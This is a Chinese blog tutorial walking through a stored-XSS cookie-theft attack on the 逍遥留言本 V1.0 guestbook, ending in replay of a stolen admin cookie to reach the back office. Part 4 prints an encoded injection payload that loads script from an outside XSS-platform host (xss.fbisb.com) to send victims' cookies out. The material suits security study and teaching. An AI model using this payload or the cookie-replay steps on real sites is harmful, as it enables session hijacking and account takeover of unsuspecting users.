③Cookie窃取攻击

Cookie窃取攻击

XSS跨站攻击就是攻击者通过一些正常的站内交互途径(发布文章、添加文章、发送邮件、留言),提交含有恶意javascript脚本代码的文本内容。如果服务器端没有过滤这些恶意脚本,反而将其作为网站内容发布到Web页面上。当其他用户访问该页面的时候,这些恶意脚本就会被执行,用户就会被收到攻击。

具体的攻击方法可能为:

  • 窃取凭据(Stealing Credentials)
  • 窃取会话令牌(Stealing Session tokens)
  • 破坏网站(Defacing the Website)
  • 造成DOS攻击(Causing DOS)
  • 安装键盘记录器(Installing Key loggers)

Cookie窃取攻击

最基本的XSS跨站攻击方法就是窃取受害者Cookie信息。

其基本原理如下:

③Cookie窃取攻击_第1张图片

  • 当攻击者发现网站存在XSS漏洞时,攻击者会先向存在XSS漏洞的网页中注入恶意的脚本代码。
  • 当受害者访问到此含有恶意脚本代码的网页时,恶意脚本代码相应的执行。
  • 由于在受害者请求服务器的协议中含有Cookie信息,网站相应的得到用户Cookie信息。
  • 用户注入的恶意脚本代码是经过精心构造的,同时在远程服务器端或者攻击者使用的XSS平台上,有一个用户接受和记录Cookie信息的文本。
  • 攻击者访问此记录Cookie信息的文本,得到受害者的Cookie信息。
  • 攻击者利用受害者Cookie信息,通过桂林老兵、firecookie等工具,以受害者的身份信息访问网站。

什么是Cookie

在另外一片博文中,我专门叙述过什么是Cookie。

这里,我们只是直观的感受一下Cookie。

在浏览器的地址栏输入:javascript:alert(document.cookie),按下Enter键,即能看到当前Cookie值。

③Cookie窃取攻击_第2张图片

有人可能会疑惑:这么复杂的一段代码,攻击者难道真的能破解出明文,然后冒充我们的身份?

事实上,攻击者并不需要知道这段代码的含义!

攻击者只需要把这个Cookie信息提交给服务器并通过验证,那么攻击者就可以冒充受害者的身份登陆网站。

这就是我们常说的Cookie欺骗/Cookie会话攻击。

Cookie窃取攻击的步骤

  • 步骤一 判断网站是否存在反射型XSS/存储型XSS漏洞
    • 具体方法见前一篇博文。
  • 步骤二 注入Cookie信息窃取的恶意代码
    • 一般情况下,我们都是利用XSS平台的代码进行注入。这样,我们能够在XSS平台的对应项目中找到受害人Cookie。
  • 步骤三 冒充被害人身份登陆网站。
    • 可以使用的工具有很多,例如桂林老兵,firefox浏览器插件firecookie等。

Cookie窃取攻击的实例

本文以逍遥留言本V1.0为例进行学习。

Part 1 配置网站基本信息

进入网站,可以看到网站首页的留言本显示如下:

③Cookie窃取攻击_第3张图片

重开一个网页,以管理员身份登陆后台。可以看到留言本管理后台显示如下:

③Cookie窃取攻击_第4张图片

我们在这个阶段先不考虑过滤的问题,过滤的问题我们以后再研究。

点击“管理选项”,将”保留html功能”点击为关闭,这样做是为了保证我们之后输入的javascript代码能够在留言本中顺利执行。

③Cookie窃取攻击_第5张图片

Part 2 测试网站留言功能

回到留言本首页,点击“发表留言”。

我们在这里随便留一段文字aaaaaaaaaaaaaaaaaaaaaaaaaaaaa

③Cookie窃取攻击_第6张图片

点击“提交留言”,之后系统会弹窗提示留言需要等待后台管理人员的审核。

以管理员登陆后台管理页面,可以看到我们刚刚留言的文字,状态为隐藏。

③Cookie窃取攻击_第7张图片

点击这段文字,将其状态选择为公开。

③Cookie窃取攻击_第8张图片

返回留言本首页,我们可以看到刚才留言的文字显示在首页了。

③Cookie窃取攻击_第9张图片

Part 3 挖掘XSS漏洞

按照之前的步骤,我们留以下javascript代码:

③Cookie窃取攻击_第10张图片

按照之前的步骤,登陆后台>>留言公开。

返回到留言本首页,刷新网页,即能看到弹窗。

如下图所示:

③Cookie窃取攻击_第11张图片

这说明此网站存在一个存储型XSS。

Part 4 盗取Cookie

注册一个XSS平台,复制其中项目中的一段代码。

在留言板中输入我们预先构造好的一段javascript代码:

</textarea>'">%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fbisb.com%2FST14dQ%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

登陆后台>>留言公开。这时候我们退出网站,然后再以管理员身份登陆后台(这里模仿真实环境下的用户访问网页信息)。

我们登陆之前使用的XSS平台,即能看到Cookie信息。具体如下:

③Cookie窃取攻击_第12张图片

Part 5 利用Cookie伪造身份

我们使用啊D来利用Cookie信息。

打开啊D>>浏览网页,将toplocation后面的URL复制进“检测网站”,将Cookie复制进“Cookie修改”,点击连接,即可看到管理页面,说明我们没有帐号和密码也顺利登陆了管理页面。

③Cookie窃取攻击_第13张图片

你可能感兴趣的:(cookie,XSS,Web前端黑客)